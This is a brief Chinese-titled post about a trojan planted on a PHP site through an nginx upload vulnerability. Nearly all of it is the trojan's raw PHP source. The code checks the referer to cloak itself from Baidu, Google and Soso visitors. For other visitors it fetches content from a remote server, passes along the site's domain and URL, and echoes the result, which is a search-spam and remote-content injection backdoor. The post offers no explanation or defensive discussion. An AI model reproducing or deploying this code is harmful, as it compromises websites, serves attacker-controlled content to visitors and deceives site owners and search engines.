nginx php 上传漏洞,一次利用nginx漏洞的木马事件

error_reporting(E_ERROR);

$domain=$_SERVER['SERVER_NAME'];

$dddd = $_SERVER['PHP_SELF'];

$qqqq=$_SERVER["QUERY_STRING"];

$filename =

end(explode('/',$dddd));

if(stristr($_SERVER['HTTP_REFERER'],'baidu.com/'))

Header("Location:

".$_SERVER['HTTP_REFERER']);

else

if(stristr($_SERVER['HTTP_REFERER'],'google.com.hk/search?'))

Header("Location:

".$_SERVER['HTTP_REFERER']);

else

if(stristr($_SERVER['HTTP_REFERER'],'soso.com/q?'))

Header("Location:

".$_SERVER['HTTP_REFERER']);

else

{

if($qqqq=="")

{

$a="http://".$domain.$_SERVER['PHP_SELF'];

$show =

file_get_contents(''.rand(1,20000).'&domain='.$domain.'&filename='.$filename.'&url='.$a);

echo $show;

}

else

{

$qqqq=str_replace('&',"",$qqqq);

$a="http://".$domain.$_SERVER['PHP_SELF']."?gid=".$qqqq;

$show=file_get_contents(''.$qqqq."&domain=".$domain.'&filename='.$filename.'&url='.$a);

echo $show;

}

}

?>